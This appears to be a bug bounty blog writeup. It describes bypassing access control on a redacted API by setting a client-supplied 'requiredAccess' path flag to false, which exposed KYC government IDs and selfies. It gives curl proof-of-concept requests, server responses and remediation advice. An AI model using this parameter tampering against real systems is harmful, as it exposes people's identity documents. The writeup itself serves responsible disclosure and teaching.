July 9, 2026
Bug Bounty — Bypassing Access Controls: How a Single Boolean Flag Exposed KYC Government IDs
Hello, hackers! In this writeup, I want to share a high-severity vulnerability I discovered during a recent bug bounty hunt. The…

By Kenjisubagja
2 min read
Hello, hackers! In this writeup, I want to share a high-severity vulnerability I discovered during a recent bug bounty hunt. The vulnerability allowed an unauthenticated attacker to bypass authorization checks and download highly sensitive KYC (Know Your Customer) documents — such as Government IDs, selfies, and proof of address — by simply changing a boolean flag in the API request URL.
To respect the organization's privacy and security policies, all identifying details, domains, and specific paths have been redacted and replaced with target.com.
The Architecture: Metadata vs. Direct File Access
Modern applications often separate the logic for fetching document metadata from the logic used to serve the actual binary file (often stored in cloud buckets like AWS S3).
During my reconnaissance phase, I analyzed how the application handled user verification documents. I noticed that the API endpoint responsible for fetching the document metadata was highly secure. If I tried to access another user's document metadata (or if I sent an unauthenticated request), the server correctly responded with 403 Forbidden or 401 Unauthorized:
HTTP
GET /api/v1/UserDocument/GetUserDocumentsById/799247 HTTP/2
Host: api.target.com
Authorization: Bearer <UNAUTHORIZED_TOKEN>
HTTP/2 403 ForbiddenGET /api/v1/UserDocument/GetUserDocumentsById/799247 HTTP/2
Host: api.target.com
Authorization: Bearer <UNAUTHORIZED_TOKEN>
HTTP/2 403 ForbiddenHowever, I discovered a secondary endpoint used to fetch the raw image file directly from the storage container. The endpoint structure looked like this:
GET /api/v1/Image/S3File/target-user-documents/{imagePath}/{requiredAccess}
The last parameter in the URL path caught my eye: a boolean value acting as a requiredAccess flag.
Proof of Concept: Parameter Tampering
To test if the application blindly trusted this client-provided boolean, I performed a series of controlled tests.
1. Unauthenticated Retrieval (The Bypass)
I sent a request to the direct file endpoint using a known {imagePath} UUID, explicitly setting the requiredAccess parameter to false. I sent this request with no cookies and no Authorization header:
curl --http2 -i -sS \
'https://api.target.com/api/v1/Image/S3File/target-user-documents/{imagePath}/false'curl --http2 -i -sS \
'https://api.target.com/api/v1/Image/S3File/target-user-documents/{imagePath}/false'Observed Response:
HTTP/2 200 OK
Content-Type: image/jpeg
Content-Length: 84510
Cache-Control: no-cache, no-store, must-revalidateHTTP/2 200 OK
Content-Type: image/jpeg
Content-Length: 84510
Cache-Control: no-cache, no-store, must-revalidateThe server returned a 200 OK along with the raw JPEG image data. I successfully downloaded the KYC verification document without any authentication.
I also verified this using a cross-account attack (Account A trying to access Account B's documents with requiredAccess=false), and it successfully returned the same image file.
2. The Control Check (Verifying the Mechanism)
To confirm that this boolean was indeed the root cause of the authorization bypass, I changed the final path segment from false to true, instructing the backend to enforce the access check:
curl --http2 -i -sS \
'https://api.target.com/api/v1/Image/S3File/target-user-documents/{imagePath}/true'curl --http2 -i -sS \
'https://api.target.com/api/v1/Image/S3File/target-user-documents/{imagePath}/true'Observed Response:
HTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
No Matching Document FoundHTTP/2 200 OK
Content-Type: text/plain; charset=utf-8
No Matching Document FoundBy flipping the flag to true, the unauthenticated and cross-account access was successfully blocked. The owner of the document, however, could still retrieve it.
This proved that the backend authorization engine was fully functional, but the developers had dangerously exposed the toggle switch for that engine to the client-side via the URL path.
Security & Privacy Impact
The severity of this vulnerability is High/Critical. The affected storage container housed user verification files, including:
- Government-issued IDs (Passports, Driver's Licenses)
- Biometric verification selfies
- Proof of address (Utility bills, bank statements)
If a document's UUID were to leak — through HTTP referrers, browser history, analytics platforms, frontend state, or a separate low-severity bug — an unauthenticated attacker could systematically extract sensitive identity materials. While UUIDs offer entropy, Security by Obscurity is never an acceptable defense for PII and KYC data.
Remediation & Takeaways
Never allow the client to dictate their own authorization requirements.
Access control checks must be enforced strictly on the server side based on the user's cryptographically verified session (e.g., JWT). The requiredAccess parameter should be completely removed from the public-facing API routing. Furthermore, for highly sensitive containers like KYC documents, applications should utilize short-lived Signed URLs (e.g., AWS S3 Pre-signed URLs) generated only after server-side ownership validation.
Conclusion
This finding is a prime example of why security researchers must thoroughly fuzz and tamper with every URL parameter, especially booleans. Sometimes, bypassing a robust access control system is as simple as telling the server: "No, you don't need to check my access today."
Thanks for reading, and happy hunting!